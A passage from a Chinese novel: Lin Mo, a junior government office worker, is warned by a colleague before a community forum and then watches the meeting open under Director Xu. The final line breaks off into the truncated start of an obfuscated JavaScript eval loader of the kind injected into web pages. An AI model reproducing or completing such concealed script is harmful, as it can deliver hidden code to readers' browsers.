这突如其来的关心让林墨有些意外：“谢谢大姐。”
“谢什么，都是一个处的。”刘大姐在她对面坐下，压低声音，“大姐多句嘴啊——下午的会，你把握好分寸。政策研究室那边，毕竟是核心处室，咱们综合一处的人，不要太出头。”
这话听着是关心，但林墨听出了另一层意思：不要给处里惹麻烦。
“我明白，我就是去介绍一下前期调研情况。”林墨说。
“那就好。”刘大姐点点头，起身走了。
林墨看着那盒洗好的葡萄，心里五味杂陈。在机关工作，每个人都活在多层关系里：个人与集体，处室与委里，热情与规矩，创新与稳妥。如何在这些张力中保持平衡，是一门艺术。
她吃了颗葡萄，很甜。
下午两点半，林墨提前到达清河街道会议室。
这是一个能容纳三十人的中型会议室，已经布置好了。长条会议桌，中间摆着鲜花和矿泉水。座位牌已经放好：主位是徐主任，左右分别是街道一把手和赵小曼，其他依次是课题组其他成员、街道分管领导、社区老陈。
居民代表的位置在对面。林墨的座位牌放在课题组一侧的最末尾，写着“省发改委综合一处林墨（前期调研人员）”。
这个位置安排很微妙——既承认了她的参与，又明确了她的从属地位。
两点四十五分，居民代表陆续来了。
李锐穿了件干净的衬衫，明显特意收拾过；赵先生带来了平板电脑，里面存着照片和资料；张女士领着女儿——就是那个爱画画的小女孩；另外两位居民林墨没见过，一男一女，都是中年人。
四楼杨奶奶是最后来的，拄着拐杖，但精神很好。小刘赶紧上前搀扶。
“杨奶奶，您怎么也来了？”老陈有些意外。
“我怎么不能来？”杨奶奶声音洪亮，“我是居民，还是老年人代表。电梯装不了，空地总得让我们老人有个坐着晒太阳的地方吧？”
这话说得在理，老陈只能点头。
三点整，会议室的门开了。
徐主任走在最前面，五十多岁，头发花白但梳理整齐，穿着深色夹克，表情严肃。街道一把手紧随其后，然后是赵小曼和课题组其他三人。
所有人起立。徐主任摆摆手：“坐，都坐。今天是座谈会，大家随便聊，不用拘束。”
但会议室的气氛瞬间紧绷起来。
会议按程序进行。首先由老陈介绍社区基本情况，重点讲了幸福家园空地的历史问题和近期居民自发行动。他讲得很务实，既讲成绩，也讲困难。
接着是赵小曼介绍课题研究方案。她准备得很充分，PPT做得专业，从理论框架到研究方法，从调研计划到成果预期，条理清晰。
林墨注意到，赵小曼在提到幸福家园时，用了“典型案例”“深度观察点”这样的词，但没提林墨的前期工作，只是说“我们注意到社区近期有一些居民自发行动”。
这是一种温和的忽略——不否定，但也不特别承认。
赵小曼讲完后，徐主任开口了：“刚才赵科长介绍了课题的整体思路。今天我们主要是听听居民的声音。各位居民代表，有什么想法、建议、诉求，都可以说。畅所欲言。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c
(